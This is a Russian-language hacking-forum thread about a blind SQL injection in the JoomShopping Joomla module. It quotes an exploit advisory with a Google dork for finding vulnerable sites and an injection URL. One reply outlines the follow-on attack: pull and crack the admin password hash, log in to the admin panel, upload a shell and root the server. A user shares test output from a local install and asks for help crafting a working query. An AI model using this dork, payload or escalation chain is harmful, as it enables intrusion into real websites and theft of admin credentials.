ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Вероятно у вас firefox версией выше 30, live http headers с версиями выше 30 не работает

Спасибо чувак помог

[QUOTE="Sensoft"]
Sensoft said:
↑
[SIZE="4"][B]Вопрос по vBulletin 4.0.x

JoomShopping - Blind SQL Injection

# Exploit Title: [JoomShopping Blind Sql injection]

# Google Dork: [allinurl:"/modules/mod_jshopping_products_wfl/js/"]

# Date: [2015-07-24]

# Exploit Author: [Mormoroth]

# Vendor Homepage: [http://www.webdesigner-profi.de]

# Software Link: [http://www.webdesigner-profi.de/joom...ownloads.html]

# Version: [All]

# Tested on: [Linux]

----------------------------

site/modules/mod_jshopping_products_wfl/js/settings.php?id=209 and 1=2-- a

Кто-нибудь пробовал применять? Можно что-то из этого извлечь?

Из этого можно извлечь логин:пасс админский, разхешить, зайти в админку и залиться, порутать сервак, а потом извлекать пользу....

# Software Link: [http://www.webdesigner-profi.de/joom...ownloads.html]

Где взять а то не робит ссылка

у вас там уже все есть. или вам плагин нужен?

Плагин

Либо я не до конца понимаю, либо у меня версии не сходятся.

Установил на локалку 3.4 версию движка и скачал с официального сайта этот джумлашопинг.

Вставляю так:

test.ru/modules/mod_jshopping_products_wfl/js/settings.php?id=209 and 1=2-- a

.SpoilerTarget" type="button">Spoiler: Открыть
Получаю сообщение:

if(typeof(jQuery) != 'undefined') {jQuery.noConflict();}window.addEvent('load',funct ion(){wflSliders['wfls209 and 1=2-- a'] = new wflSlider({"ribbon_behavior":null,"duration":500," effect_block":"single","id":"209 and 1=2-- a","orientation":"hor"})});
Вставляю вот так:

.SpoilerTarget" type="button">Spoiler: Ещё посмотреть
test.ru/modules/mod_jshopping_products_wfl/js/settings.php?id=209 and 1=2-- a'

Получаю:

Error displaying the error page: Application Instantiation Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''209 and 1=2-- a''' at line 3 SQL=SELECT params FROM bigmb_modules WHERE id='209 and 1=2-- a''


Получается, уязвимость присутствует и нужно лишь правильно составить запрос?

Направьте в нужное русло пожалуйста.